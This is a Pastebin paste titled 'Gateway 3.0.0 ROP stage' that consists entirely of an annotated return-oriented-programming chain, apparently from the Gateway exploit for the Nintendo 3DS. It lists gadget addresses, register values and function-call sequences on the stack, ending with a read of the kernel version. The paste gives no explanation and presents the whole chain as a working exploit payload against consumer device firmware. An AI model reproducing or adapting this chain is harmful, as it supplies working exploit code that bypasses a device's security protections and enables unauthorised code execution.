Advertisement
Guest User

Gateway 3.0.0 ROP stage

a guest
Jan 11th, 2015
1,688
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.40 KB | None | 0 0
  1. ... ROP PART 1 ...
  2. 0x08F01000: 0x0010DB6C ; (nop) LDR PC, [SP],#4
  3. 0x08F01004: 0x0010DB6C ; (nop) LDR PC, [SP],#4
  4. 0x08F01008: 0x0010DB6C ; (nop) LDR PC, [SP],#4
  5. 0x08F0100C: 0x0010DF28 ; LDMFD SP!, {R4-R10,PC}
  6. 0x08F01010: 0x00008040 ; R4
  7. 0x08F01014: 0x00001940 ; R5
  8. 0x08F01018: 0x7333A746 ; R6
  9. 0x08F0101C: 0x9177B73C ; R7
  10. 0x08F01020: 0x5BDCF265 ; R8
  11. 0x08F01024: 0x6CA07555 ; R9
  12. 0x08F01028: 0x00000000 ; R10
  13. 0x08F0102C: 0x002AD574 ; LDMFD SP!, {R0,PC}
  14. 0x08F01030: 0x08F02B3C ; R0
  15. 0x08F01034: 0x00269758 ; LDMFD SP!, {R1,PC}
  16. 0x08F01038: 0x08000838 ; R1
  17. 0x08F0103C: 0x00140450 ; *R1 = R0, LDMFD SP!, {R4,PC}
  18. 0x08F01040: 0x00101A34 ; R4
  19. 0x08F01044: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  20. 0x08F01048: 0x002104E5 ; R4
  21. 0x08F0104C: 0x002CCF7C ; R5
  22. 0x08F01050: 0x00184700 ; R6
  23. 0x08F01054: 0x00116400 ; R7
  24. 0x08F01058: 0x001B4300 ; R8
  25. 0x08F0105C: 0x00113200 ; R9
  26. 0x08F01060: 0x0007B800 ; R10
  27. 0x08F01064: 0x0021E630 ; R11
  28. 0x08F01068: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  29. 0x08F0106C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  30. 0x08F01070: 0x0010322C ; R4
  31. 0x08F01074: 0x0022FE44 ; R5
  32. 0x08F01078: 0x00100B5C ; R6
  33. 0x08F0107C: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  34. 0x08F01080: 0x002AD574 ; LDMFD SP!, {R0,PC}
  35. 0x08F01084: 0x00400000 ; R0
  36. 0x08F01088: 0x00269758 ; LDMFD SP!, {R1,PC}
  37. 0x08F0108C: 0x00000000 ; R1
  38. 0x08F01090: 0x0025DFF0 ; function call, BX LR
  39. 0x08F01094: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  40. 0x08F01098: 0x002104E5 ; R4
  41. 0x08F0109C: 0x002CCF7C ; R5
  42. 0x08F010A0: 0x00184700 ; R6
  43. 0x08F010A4: 0x00116400 ; R7
  44. 0x08F010A8: 0x001B4300 ; R8
  45. 0x08F010AC: 0x00113200 ; R9
  46. 0x08F010B0: 0x0007B800 ; R10
  47. 0x08F010B4: 0x0021E630 ; R11
  48. 0x08F010B8: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  49. 0x08F010BC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  50. 0x08F010C0: 0x0010322C ; R4
  51. 0x08F010C4: 0x0022FE44 ; R5
  52. 0x08F010C8: 0x00100B5C ; R6
  53. 0x08F010CC: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  54. 0x08F010D0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  55. 0x08F010D4: 0x00400000 ; R0
  56. 0x08F010D8: 0x00269758 ; LDMFD SP!, {R1,PC}
  57. 0x08F010DC: 0x00000000 ; R1
  58. 0x08F010E0: 0x0025DFF0 ; function call, BX LR
  59. 0x08F010E4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  60. 0x08F010E8: 0x002104E5 ; R4
  61. 0x08F010EC: 0x002CCF7C ; R5
  62. 0x08F010F0: 0x00184700 ; R6
  63. 0x08F010F4: 0x00116400 ; R7
  64. 0x08F010F8: 0x001B4300 ; R8
  65. 0x08F010FC: 0x00113200 ; R9
  66. 0x08F01100: 0x0007B800 ; R10
  67. 0x08F01104: 0x0021E630 ; R11
  68. 0x08F01108: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  69. 0x08F0110C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  70. 0x08F01110: 0x0010322C ; R4
  71. 0x08F01114: 0x0022FE44 ; R5
  72. 0x08F01118: 0x00100B5C ; R6
  73. 0x08F0111C: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  74. 0x08F01120: 0x002AD574 ; LDMFD SP!, {R0,PC}
  75. 0x08F01124: 0x00400000 ; R0
  76. 0x08F01128: 0x00269758 ; LDMFD SP!, {R1,PC}
  77. 0x08F0112C: 0x00000000 ; R1
  78. 0x08F01130: 0x0025DFF0 ; function call, BX LR
  79. 0x08F01134: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  80. 0x08F01138: 0x002104E5 ; R4
  81. 0x08F0113C: 0x002CCF7C ; R5
  82. 0x08F01140: 0x00184700 ; R6
  83. 0x08F01144: 0x00116400 ; R7
  84. 0x08F01148: 0x001B4300 ; R8
  85. 0x08F0114C: 0x00113200 ; R9
  86. 0x08F01150: 0x0007B800 ; R10
  87. 0x08F01154: 0x0021E630 ; R11
  88. 0x08F01158: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  89. 0x08F0115C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  90. 0x08F01160: 0x0010322C ; R4
  91. 0x08F01164: 0x0022FE44 ; R5
  92. 0x08F01168: 0x00100B5C ; R6
  93. 0x08F0116C: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  94. 0x08F01170: 0x002AD574 ; LDMFD SP!, {R0,PC}
  95. 0x08F01174: 0x18000000 ; R0
  96. 0x08F01178: 0x00269758 ; LDMFD SP!, {R1,PC}
  97. 0x08F0117C: 0x00038400 ; R1
  98. 0x08F01180: 0x00344B84 ; function call, BX LR
  99. 0x08F01184: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  100. 0x08F01188: 0x002104E5 ; R4
  101. 0x08F0118C: 0x002CCF7C ; R5
  102. 0x08F01190: 0x00184700 ; R6
  103. 0x08F01194: 0x00116400 ; R7
  104. 0x08F01198: 0x001B4300 ; R8
  105. 0x08F0119C: 0x00113200 ; R9
  106. 0x08F011A0: 0x0007B800 ; R10
  107. 0x08F011A4: 0x0021E630 ; R11
  108. 0x08F011A8: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  109. 0x08F011AC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  110. 0x08F011B0: 0x0010322C ; R4
  111. 0x08F011B4: 0x0022FE44 ; R5
  112. 0x08F011B8: 0x00100B5C ; R6
  113. 0x08F011BC: 0x0010DB6C ; LR
  114. 0x08F011C0: 0x0017943B ; POP {R0-R4,R7,PC}
  115. 0x08F011C4: 0x18000000 ; R0
  116. 0x08F011C8: 0x1F48F000 ; R1
  117. 0x08F011CC: 0x00038400 ; R2
  118. 0x08F011D0: 0x00000000 ; R3
  119. 0x08F011D4: 0x00182C87 ; R4
  120. 0x08F011D8: 0x001B560C ; R7
  121. 0x08F011DC: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  122. 0x08F011E0: 0x0000000F ; R4
  123. 0x08F011E4: 0x002C62E4 ; R5, function call
  124. 0x08F011E8: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  125. 0x08F011EC: 0x00000000 ; R4
  126. 0x08F011F0: 0x00000000 ; R5
  127. 0x08F011F4: 0x00000000 ; R6
  128. 0x08F011F8: 0x00000008 ; R7
  129. 0x08F011FC: 0x0010DB6C ; R8
  130. 0x08F01200: 0x0010DB6C ; (nop) LDR PC, [SP],#4
  131. 0x08F01204: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  132. 0x08F01208: 0x002104E5 ; R4
  133. 0x08F0120C: 0x002CCF7C ; R5
  134. 0x08F01210: 0x00184700 ; R6
  135. 0x08F01214: 0x00116400 ; R7
  136. 0x08F01218: 0x001B4300 ; R8
  137. 0x08F0121C: 0x00113200 ; R9
  138. 0x08F01220: 0x0007B800 ; R10
  139. 0x08F01224: 0x0021E630 ; R11
  140. 0x08F01228: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  141. 0x08F0122C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  142. 0x08F01230: 0x0010322C ; R4
  143. 0x08F01234: 0x0022FE44 ; R5
  144. 0x08F01238: 0x00100B5C ; R6
  145. 0x08F0123C: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  146. 0x08F01240: 0x002AD574 ; LDMFD SP!, {R0,PC}
  147. 0x08F01244: 0x00400000 ; R0
  148. 0x08F01248: 0x00269758 ; LDMFD SP!, {R1,PC}
  149. 0x08F0124C: 0x00000000 ; R1
  150. 0x08F01250: 0x0025DFF0 ; function call, BX LR
  151. 0x08F01254: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  152. 0x08F01258: 0x002104E5 ; R4
  153. 0x08F0125C: 0x002CCF7C ; R5
  154. 0x08F01260: 0x00184700 ; R6
  155. 0x08F01264: 0x00116400 ; R7
  156. 0x08F01268: 0x001B4300 ; R8
  157. 0x08F0126C: 0x00113200 ; R9
  158. 0x08F01270: 0x0007B800 ; R10
  159. 0x08F01274: 0x0021E630 ; R11
  160. 0x08F01278: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  161. 0x08F0127C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  162. 0x08F01280: 0x0010322C ; R4
  163. 0x08F01284: 0x0022FE44 ; R5
  164. 0x08F01288: 0x00100B5C ; R6
  165. 0x08F0128C: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  166. 0x08F01290: 0x002AD574 ; LDMFD SP!, {R0,PC}
  167. 0x08F01294: 0x18000000 ; R0
  168. 0x08F01298: 0x00269758 ; LDMFD SP!, {R1,PC}
  169. 0x08F0129C: 0x00038400 ; R1
  170. 0x08F012A0: 0x00344B84 ; function call, BX LR
  171. 0x08F012A4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  172. 0x08F012A8: 0x002104E5 ; R4
  173. 0x08F012AC: 0x002CCF7C ; R5
  174. 0x08F012B0: 0x00184700 ; R6
  175. 0x08F012B4: 0x00116400 ; R7
  176. 0x08F012B8: 0x001B4300 ; R8
  177. 0x08F012BC: 0x00113200 ; R9
  178. 0x08F012C0: 0x0007B800 ; R10
  179. 0x08F012C4: 0x0021E630 ; R11
  180. 0x08F012C8: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  181. 0x08F012CC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  182. 0x08F012D0: 0x0010322C ; R4
  183. 0x08F012D4: 0x0022FE44 ; R5
  184. 0x08F012D8: 0x00100B5C ; R6
  185. 0x08F012DC: 0x0010DB6C ; LR
  186. 0x08F012E0: 0x0017943B ; POP {R0-R4,R7,PC}
  187. 0x08F012E4: 0x18000000 ; R0
  188. 0x08F012E8: 0x1F4C7800 ; R1
  189. 0x08F012EC: 0x00038400 ; R2
  190. 0x08F012F0: 0x00000000 ; R3
  191. 0x08F012F4: 0x00182C87 ; R4
  192. 0x08F012F8: 0x001B560C ; R7
  193. 0x08F012FC: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  194. 0x08F01300: 0x0000000F ; R4
  195. 0x08F01304: 0x002C62E4 ; R5, function call
  196. 0x08F01308: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  197. 0x08F0130C: 0x00000000 ; R4
  198. 0x08F01310: 0x00000000 ; R5
  199. 0x08F01314: 0x00000000 ; R6
  200. 0x08F01318: 0x00000008 ; R7
  201. 0x08F0131C: 0x0010DB6C ; R8
  202. 0x08F01320: 0x0010DB6C ; (nop) LDR PC, [SP],#4
  203. 0x08F01324: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  204. 0x08F01328: 0x002104E5 ; R4
  205. 0x08F0132C: 0x002CCF7C ; R5
  206. 0x08F01330: 0x00184700 ; R6
  207. 0x08F01334: 0x00116400 ; R7
  208. 0x08F01338: 0x001B4300 ; R8
  209. 0x08F0133C: 0x00113200 ; R9
  210. 0x08F01340: 0x0007B800 ; R10
  211. 0x08F01344: 0x0021E630 ; R11
  212. 0x08F01348: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  213. 0x08F0134C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  214. 0x08F01350: 0x0010322C ; R4
  215. 0x08F01354: 0x0022FE44 ; R5
  216. 0x08F01358: 0x00100B5C ; R6
  217. 0x08F0135C: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  218. 0x08F01360: 0x002AD574 ; LDMFD SP!, {R0,PC}
  219. 0x08F01364: 0x00400000 ; R0
  220. 0x08F01368: 0x00269758 ; LDMFD SP!, {R1,PC}
  221. 0x08F0136C: 0x00000000 ; R1
  222. 0x08F01370: 0x0025DFF0 ; function call, BX LR
  223. 0x08F01374: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  224. 0x08F01378: 0x002104E5 ; R4
  225. 0x08F0137C: 0x002CCF7C ; R5
  226. 0x08F01380: 0x00184700 ; R6
  227. 0x08F01384: 0x00116400 ; R7
  228. 0x08F01388: 0x001B4300 ; R8
  229. 0x08F0138C: 0x00113200 ; R9
  230. 0x08F01390: 0x0007B800 ; R10
  231. 0x08F01394: 0x0021E630 ; R11
  232. 0x08F01398: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  233. 0x08F0139C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  234. 0x08F013A0: 0x0010322C ; R4
  235. 0x08F013A4: 0x0022FE44 ; R5
  236. 0x08F013A8: 0x00100B5C ; R6
  237. 0x08F013AC: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  238. 0x08F013B0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  239. 0x08F013B4: 0x18000000 ; R0
  240. 0x08F013B8: 0x00269758 ; LDMFD SP!, {R1,PC}
  241. 0x08F013BC: 0x00038400 ; R1
  242. 0x08F013C0: 0x00344B84 ; function call, BX LR
  243. 0x08F013C4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  244. 0x08F013C8: 0x002104E5 ; R4
  245. 0x08F013CC: 0x002CCF7C ; R5
  246. 0x08F013D0: 0x00184700 ; R6
  247. 0x08F013D4: 0x00116400 ; R7
  248. 0x08F013D8: 0x001B4300 ; R8
  249. 0x08F013DC: 0x00113200 ; R9
  250. 0x08F013E0: 0x0007B800 ; R10
  251. 0x08F013E4: 0x0021E630 ; R11
  252. 0x08F013E8: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  253. 0x08F013EC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  254. 0x08F013F0: 0x0010322C ; R4
  255. 0x08F013F4: 0x0022FE44 ; R5
  256. 0x08F013F8: 0x00100B5C ; R6
  257. 0x08F013FC: 0x0010DB6C ; LR
  258. 0x08F01400: 0x0017943B ; POP {R0-R4,R7,PC}
  259. 0x08F01404: 0x18000000 ; R0
  260. 0x08F01408: 0x1F48F000 ; R1
  261. 0x08F0140C: 0x00038400 ; R2
  262. 0x08F01410: 0x00000000 ; R3
  263. 0x08F01414: 0x00182C87 ; R4
  264. 0x08F01418: 0x001B560C ; R7
  265. 0x08F0141C: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  266. 0x08F01420: 0x0000000F ; R4
  267. 0x08F01424: 0x002C62E4 ; R5, function call
  268. 0x08F01428: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  269. 0x08F0142C: 0x00000000 ; R4
  270. 0x08F01430: 0x00000000 ; R5
  271. 0x08F01434: 0x00000000 ; R6
  272. 0x08F01438: 0x00000008 ; R7
  273. 0x08F0143C: 0x0010DB6C ; R8
  274. 0x08F01440: 0x0010DB6C ; (nop) LDR PC, [SP],#4
  275. 0x08F01444: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  276. 0x08F01448: 0x002104E5 ; R4
  277. 0x08F0144C: 0x002CCF7C ; R5
  278. 0x08F01450: 0x00184700 ; R6
  279. 0x08F01454: 0x00116400 ; R7
  280. 0x08F01458: 0x001B4300 ; R8
  281. 0x08F0145C: 0x00113200 ; R9
  282. 0x08F01460: 0x0007B800 ; R10
  283. 0x08F01464: 0x0021E630 ; R11
  284. 0x08F01468: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  285. 0x08F0146C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  286. 0x08F01470: 0x0010322C ; R4
  287. 0x08F01474: 0x0022FE44 ; R5
  288. 0x08F01478: 0x00100B5C ; R6
  289. 0x08F0147C: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  290. 0x08F01480: 0x002AD574 ; LDMFD SP!, {R0,PC}
  291. 0x08F01484: 0x00400000 ; R0
  292. 0x08F01488: 0x00269758 ; LDMFD SP!, {R1,PC}
  293. 0x08F0148C: 0x00000000 ; R1
  294. 0x08F01490: 0x0025DFF0 ; function call, BX LR
  295. 0x08F01494: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  296. 0x08F01498: 0x002104E5 ; R4
  297. 0x08F0149C: 0x002CCF7C ; R5
  298. 0x08F014A0: 0x00184700 ; R6
  299. 0x08F014A4: 0x00116400 ; R7
  300. 0x08F014A8: 0x001B4300 ; R8
  301. 0x08F014AC: 0x00113200 ; R9
  302. 0x08F014B0: 0x0007B800 ; R10
  303. 0x08F014B4: 0x0021E630 ; R11
  304. 0x08F014B8: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  305. 0x08F014BC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  306. 0x08F014C0: 0x0010322C ; R4
  307. 0x08F014C4: 0x0022FE44 ; R5
  308. 0x08F014C8: 0x00100B5C ; R6
  309. 0x08F014CC: 0x0010DB6C ; LR, (nop) LDR PC, [SP],#4
  310. 0x08F014D0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  311. 0x08F014D4: 0x18000000 ; R0
  312. 0x08F014D8: 0x00269758 ; LDMFD SP!, {R1,PC}
  313. 0x08F014DC: 0x00038400 ; R1
  314. 0x08F014E0: 0x00344B84 ; function call, BX LR
  315. 0x08F014E4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  316. 0x08F014E8: 0x002104E5 ; R4
  317. 0x08F014EC: 0x002CCF7C ; R5
  318. 0x08F014F0: 0x00184700 ; R6
  319. 0x08F014F4: 0x00116400 ; R7
  320. 0x08F014F8: 0x001B4300 ; R8
  321. 0x08F014FC: 0x00113200 ; R9
  322. 0x08F01500: 0x0007B800 ; R10
  323. 0x08F01504: 0x0021E630 ; R11
  324. 0x08F01508: 0x0010DB6C ; R12, (nop) LDR PC, [SP],#4
  325. 0x08F0150C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  326. 0x08F01510: 0x0010322C ; R4
  327. 0x08F01514: 0x0022FE44 ; R5
  328. 0x08F01518: 0x00100B5C ; R6
  329. 0x08F0151C: 0x0010DB6C ; LR
  330. 0x08F01520: 0x0017943B ; POP {R0-R4,R7,PC}
  331. 0x08F01524: 0x18000000 ; R0
  332. 0x08F01528: 0x1F4C7800 ; R1
  333. 0x08F0152C: 0x00038400 ; R2
  334. 0x08F01530: 0x00000000 ; R3
  335. 0x08F01534: 0x00182C87 ; R4
  336. 0x08F01538: 0x001B560C ; R7
  337. 0x08F0153C: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  338. 0x08F01540: 0x0000000F ; R4
  339. 0x08F01544: 0x002C62E4 ; R5, function call
  340. 0x08F01548: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  341. 0x08F0154C: 0x00000000 ; R4
  342. 0x08F01550: 0x00000000 ; R5
  343. 0x08F01554: 0x00000000 ; R6
  344. 0x08F01558: 0x00000008 ; R7
  345. 0x08F0155C: 0x0010DB6C ; R8
  346. 0x08F01560: 0x0010DB6C ; nop
  347. 0x08F01564: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  348. 0x08F01568: 0x002104E5 ; R4
  349. 0x08F0156C: 0x002CCF7C ; R5
  350. 0x08F01570: 0x00184700 ; R6
  351. 0x08F01574: 0x00116400 ; R7
  352. 0x08F01578: 0x001B4300 ; R8
  353. 0x08F0157C: 0x00113200 ; R9
  354. 0x08F01580: 0x0007B800 ; R10
  355. 0x08F01584: 0x0021E630 ; R11
  356. 0x08F01588: 0x0010DB6C ; R12, nop
  357. 0x08F0158C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  358. 0x08F01590: 0x0010322C ; R4
  359. 0x08F01594: 0x0022FE44 ; R5
  360. 0x08F01598: 0x00100B5C ; R6
  361. 0x08F0159C: 0x0010DB6C ; LR
  362. 0x08F015A0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  363. 0x08F015A4: 0x00400000 ; R0
  364. 0x08F015A8: 0x00269758 ; LDMFD SP!, {R1,PC}
  365. 0x08F015AC: 0x00000000 ; R1
  366. 0x08F015B0: 0x0025DFF0 ; function call, BX LR
  367. 0x08F015B4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  368. 0x08F015B8: 0x002104E5 ; R4
  369. 0x08F015BC: 0x002CCF7C ; R5
  370. 0x08F015C0: 0x00184700 ; R6
  371. 0x08F015C4: 0x00116400 ; R7
  372. 0x08F015C8: 0x001B4300 ; R8
  373. 0x08F015CC: 0x00113200 ; R9
  374. 0x08F015D0: 0x0007B800 ; R10
  375. 0x08F015D4: 0x0021E630 ; R11
  376. 0x08F015D8: 0x0010DB6C ; R12, nop
  377. 0x08F015DC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  378. 0x08F015E0: 0x0010322C ; R4
  379. 0x08F015E4: 0x0022FE44 ; R5
  380. 0x08F015E8: 0x00100B5C ; R6
  381. 0x08F015EC: 0x0010DB6C ; LR
  382. 0x08F015F0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  383. 0x08F015F4: 0x18000000 ; R0
  384. 0x08F015F8: 0x00269758 ; LDMFD SP!, {R1,PC}
  385. 0x08F015FC: 0x00038400 ; R1
  386. 0x08F01600: 0x00344B84 ; function call, BX LR
  387. 0x08F01604: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  388. 0x08F01608: 0x002104E5 ; R4
  389. 0x08F0160C: 0x002CCF7C ; R5
  390. 0x08F01610: 0x00184700 ; R6
  391. 0x08F01614: 0x00116400 ; R7
  392. 0x08F01618: 0x001B4300 ; R8
  393. 0x08F0161C: 0x00113200 ; R9
  394. 0x08F01620: 0x0007B800 ; R10
  395. 0x08F01624: 0x0021E630 ; R11
  396. 0x08F01628: 0x0010DB6C ; R12, nop
  397. 0x08F0162C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  398. 0x08F01630: 0x0010322C ; R4
  399. 0x08F01634: 0x0022FE44 ; R5
  400. 0x08F01638: 0x00100B5C ; R6
  401. 0x08F0163C: 0x0010DB6C ; LR
  402. 0x08F01640: 0x0017943B ; POP {R0-R4,R7,PC}
  403. 0x08F01644: 0x18000000 ; R0
  404. 0x08F01648: 0x1F48F000 ; R1
  405. 0x08F0164C: 0x00038400 ; R2
  406. 0x08F01650: 0x00000000 ; R3
  407. 0x08F01654: 0x00182C87 ; R4
  408. 0x08F01658: 0x001B560C ; R7
  409. 0x08F0165C: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  410. 0x08F01660: 0x0000000F ; R4
  411. 0x08F01664: 0x002C62E4 ; R5, function call
  412. 0x08F01668: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  413. 0x08F0166C: 0x00000000 ; R4
  414. 0x08F01670: 0x00000000 ; R5
  415. 0x08F01674: 0x00000000 ; R6
  416. 0x08F01678: 0x00000008 ; R7
  417. 0x08F0167C: 0x0010DB6C ; R8
  418. 0x08F01680: 0x0010DB6C ; nop
  419. 0x08F01684: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  420. 0x08F01688: 0x002104E5 ; R4
  421. 0x08F0168C: 0x002CCF7C ; R5
  422. 0x08F01690: 0x00184700 ; R6
  423. 0x08F01694: 0x00116400 ; R7
  424. 0x08F01698: 0x001B4300 ; R8
  425. 0x08F0169C: 0x00113200 ; R9
  426. 0x08F016A0: 0x0007B800 ; R10
  427. 0x08F016A4: 0x0021E630 ; R11
  428. 0x08F016A8: 0x0010DB6C ; R12, nop
  429. 0x08F016AC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  430. 0x08F016B0: 0x0010322C ; R4
  431. 0x08F016B4: 0x0022FE44 ; R5
  432. 0x08F016B8: 0x00100B5C ; R6
  433. 0x08F016BC: 0x0010DB6C ; LR
  434. 0x08F016C0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  435. 0x08F016C4: 0x00400000 ; R0
  436. 0x08F016C8: 0x00269758 ; LDMFD SP!, {R1,PC}
  437. 0x08F016CC: 0x00000000 ; R1
  438. 0x08F016D0: 0x0025DFF0 ; function call, BX LR
  439. 0x08F016D4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  440. 0x08F016D8: 0x002104E5 ; R4
  441. 0x08F016DC: 0x002CCF7C ; R5
  442. 0x08F016E0: 0x00184700 ; R6
  443. 0x08F016E4: 0x00116400 ; R7
  444. 0x08F016E8: 0x001B4300 ; R8
  445. 0x08F016EC: 0x00113200 ; R9
  446. 0x08F016F0: 0x0007B800 ; R10
  447. 0x08F016F4: 0x0021E630 ; R11
  448. 0x08F016F8: 0x0010DB6C ; R12, nop
  449. 0x08F016FC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  450. 0x08F01700: 0x0010322C ; R4
  451. 0x08F01704: 0x0022FE44 ; R5
  452. 0x08F01708: 0x00100B5C ; R6
  453. 0x08F0170C: 0x0010DB6C ; LR
  454. 0x08F01710: 0x002AD574 ; LDMFD SP!, {R0,PC}
  455. 0x08F01714: 0x18000000 ; R0
  456. 0x08F01718: 0x00269758 ; LDMFD SP!, {R1,PC}
  457. 0x08F0171C: 0x00038400 ; R1
  458. 0x08F01720: 0x00344B84 ; function call, BX LR
  459. 0x08F01724: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  460. 0x08F01728: 0x002104E5 ; R4
  461. 0x08F0172C: 0x002CCF7C ; R5
  462. 0x08F01730: 0x00184700 ; R6
  463. 0x08F01734: 0x00116400 ; R7
  464. 0x08F01738: 0x001B4300 ; R8
  465. 0x08F0173C: 0x00113200 ; R9
  466. 0x08F01740: 0x0007B800 ; R10
  467. 0x08F01744: 0x0021E630 ; R11
  468. 0x08F01748: 0x0010DB6C ; R12, nop
  469. 0x08F0174C: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  470. 0x08F01750: 0x0010322C ; R4
  471. 0x08F01754: 0x0022FE44 ; R5
  472. 0x08F01758: 0x00100B5C ; R6
  473. 0x08F0175C: 0x0010DB6C ; LR, nop
  474. 0x08F01760: 0x0017943B ; POP {R0-R4,R7,PC}
  475. 0x08F01764: 0x18000000 ; R0
  476. 0x08F01768: 0x1F4C7800 ; R1
  477. 0x08F0176C: 0x00038400 ; R2
  478. 0x08F01770: 0x00000000 ; R3
  479. 0x08F01774: 0x00182C87 ; R4
  480. 0x08F01778: 0x001B560C ; R7
  481. 0x08F0177C: 0x00101408 ; LDMFD SP!, {R4,R5,PC}
  482. 0x08F01780: 0x0000000F ; R4
  483. 0x08F01784: 0x002C62E4 ; R5, function call
  484. 0x08F01788: 0x00354850 ; BLX R5, LDMFD SP!, {R4-R8,PC}
  485. 0x08F0178C: 0x00000000 ; R4
  486. 0x08F01790: 0x00000000 ; R5
  487. 0x08F01794: 0x00000000 ; R6
  488. 0x08F01798: 0x00000008 ; R7
  489. 0x08F0179C: 0x0010DB6C ; R8
  490. 0x08F017A0: 0x0010DB6C ; nop
  491. 0x08F017A4: 0x00103DA8 ; LDMFD SP!, {R4-R12,PC}
  492. 0x08F017A8: 0x002104E5 ; R4
  493. 0x08F017AC: 0x002CCF7C ; R5
  494. 0x08F017B0: 0x00184700 ; R6
  495. 0x08F017B4: 0x00116400 ; R7
  496. 0x08F017B8: 0x001B4300 ; R8
  497. 0x08F017BC: 0x00113200 ; R9
  498. 0x08F017C0: 0x0007B800 ; R10
  499. 0x08F017C4: 0x0021E630 ; R11
  500. 0x08F017C8: 0x0010DB6C ; R12, nop
  501. 0x08F017CC: 0x0018114C ; LDMFD SP!, {R4-R6,LR}, BX R12
  502. 0x08F017D0: 0x0010322C ; R4
  503. 0x08F017D4: 0x0022FE44 ; R5
  504. 0x08F017D8: 0x00100B5C ; R6
  505. 0x08F017DC: 0x0010DB6C ; LR, nop
  506. 0x08F017E0: 0x002AD574 ; LDMFD SP!, {R0,PC}
  507. 0x08F017E4: 0x00400000 ; R0
  508. 0x08F017E8: 0x00269758 ; LDMFD SP!, {R1,PC}
  509. 0x08F017EC: 0x00000000 ; R1
  510. 0x08F017F0: 0x0025DFF0 ; function call, BX LR
  511. 0x08F017F4: 0x002AD574 ; LDMFD SP!, {R0,PC}
  512. 0x08F017F8: 0x1FF80000 ; R0, kernel version
  513. 0x08F017FC: 0x001CCC64 ; R0 = *R0, LDMFD SP!, {R4,PC}
  514. 0x08F01800: 0x001CCC64 ; R4
  515. 0x08F01804: 0x00269758 ; LDMFD SP!, {R1,PC}
  516. 0x08F01808: 0xFDDE0000 ; R1
